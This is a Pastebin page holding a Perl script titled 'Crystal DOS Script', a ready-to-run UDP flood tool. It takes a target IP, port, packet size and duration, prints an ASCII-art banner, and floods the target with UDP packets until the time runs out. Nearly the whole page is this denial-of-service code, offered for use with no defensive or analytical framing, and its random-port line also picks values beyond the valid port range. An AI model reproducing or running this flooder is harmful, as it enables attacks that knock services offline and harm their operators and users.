Advertisement
SaintSec

[Perl] Crystal DOS Script

Aug 4th, 2016
108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.92 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use Socket;
  4. use strict;
  5.  
  6. my ($ip,$port,$size,$time) = @ARGV;
  7.  
  8. my ($iaddr,$endtime,$psize,$pport);
  9.  
  10. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  11. $endtime = time() + ($time ? $time : 100);
  12. socket(flood, PF_INET, SOCK_DGRAM, 17);
  13.  
  14. print <<EOTEXT;
  15.              ,gaaaaaaaagaaaaaaaaaaaaagaaaaaaaag,
  16.            ,aP8b    _,dYba,       ,adPb,_    d8Ya,
  17.          ,aP"  Yb_,dP"   "Yba, ,adP"   "Yb,_dP  "Ya,
  18.        ,aP"    _88"         )888(         "88_    "Ya,
  19.      ,aP"   _,dP"Yb      ,adP"8"Yba,      dP"Yb,_   "Ya,
  20.    ,aPYb _,dP8    Yb  ,adP"   8   "Yba,  dP    8Yb,_ dPYa,
  21.  ,aP"  YdP" dP     YbdP"      8      "YbdP     Yb "YbP  "Ya,
  22. I8aaaaaa8aaa8baaaaaa88aaaaaaaa8aaaaaaaa88aaaaaad8aaa8aaaaaa8I
  23. `Yb,   d8a, Ya      d8b,      8      ,d8b      aP ,a8b   ,dP'
  24.   "Yb,dP "Ya "8,   dI "Yb,    8    ,dP" Ib   ,8" aP" Yb,dP"
  25.     "Y8,   "YaI8, ,8'   "Yb,  8  ,dP"   `8, ,8IaP"   ,8P"
  26.       "Yb,   `"Y8ad'      "Yb,8,dP"      `ba8P"'   ,dP"
  27.         "Yb,    `"8,        "Y8P"        ,8"'    ,dP"
  28.           "Yb,    `8,         8         ,8'    ,dP"
  29.             "Yb,   `Ya        8        aP'   ,dP"
  30.               "Yb,   "8,      8      ,8"   ,dP"
  31.                 "Yb,  `8,     8     ,8'  ,dP"  
  32.                   "Yb, `Ya    8    aP' ,dP"    
  33.                     "Yb, "8,  8  ,8" ,dP"
  34.                       "Yb,`8, 8 ,8',dP"
  35.                         "Yb,Ya8aP,dP"
  36.                           "Y88888P"
  37.                             "Y8P"
  38.                               "
  39. EOTEXT
  40.  
  41. print "!~DuMpiN~! $ip " . ($port ? $port : "random") . " Offline " .
  42.   ($size ? "$size " : "Inferno") . "!~DISCONECTED~! " .
  43.   ($time ? " for $time seconds" : "") . "\n";
  44. print "Stop Hitting Ctrl-C\n" unless $time;
  45.  
  46. for (;time() <= $endtime;) {
  47.   $psize = $size ? $size : int(rand(1024-64)+64) ;
  48.   $pport = $port ? $port : int(rand(1500000))+1;
  49.  
  50.   send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement